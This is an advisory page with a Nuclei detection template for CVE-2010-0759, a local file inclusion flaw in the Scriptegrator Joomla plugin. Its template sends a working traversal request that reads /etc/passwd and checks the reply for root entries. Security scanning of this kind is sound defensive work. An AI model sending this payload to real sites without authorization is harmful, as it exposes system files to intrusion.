CVE-2010-0759: Joomla! Plugin Core Design Scriptegrator - Local File Inclusion

2025-08-01 Joomla! PoC Public

Description

A directory traversal vulnerability in plugins/system/cdscriptegrator/libraries/highslide/js/jsloader.php in the Core Design Scriptegrator plugin 1.4.1 for Joomla! allows remote attackers to read, and possibly include and execute, arbitrary files via directory traversal sequences in the files[] parameter.

PoC

id: CVE-2010-0759

info:
  name: Joomla! Plugin Core Design Scriptegrator - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in plugins/system/cdscriptegrator/libraries/highslide/js/jsloader.php in the Core Design Scriptegrator plugin 1.4.1 for Joomla! allows remote attackers to read, and possibly include and execute, arbitrary files via directory traversal sequences in the files[] parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access or information disclosure.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/11498
    - https://nvd.nist.gov/vuln/detail/CVE-2010-0759
    - http://www.exploit-db.com/exploits/11498
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/56380
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-0759
    cwe-id: CWE-22
    epss-score: 0.15242
    epss-percentile: 0.96582
    cpe: cpe:2.3:a:greatjoomla:scriptegrator_plugin:1.4.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: greatjoomla
    product: scriptegrator_plugin
  tags: cve,cve2010,joomla,lfi,plugin,edb,greatjoomla,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/plugins/system/cdscriptegrator/libraries/highslide/js/jsloader.php?files[]=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022005d94fb2bdc1323d801276fd96b07b32634f1a8727fc53e11df9e9a0b9f5d51402210084cab45f2b6a4dd28e096d00a1bb8c21cdea0e1a1e4ef08c549bf0950871bdde:922c64590222798bb761d5b6d8e72950

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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2010/CVE-2010-0759.yaml

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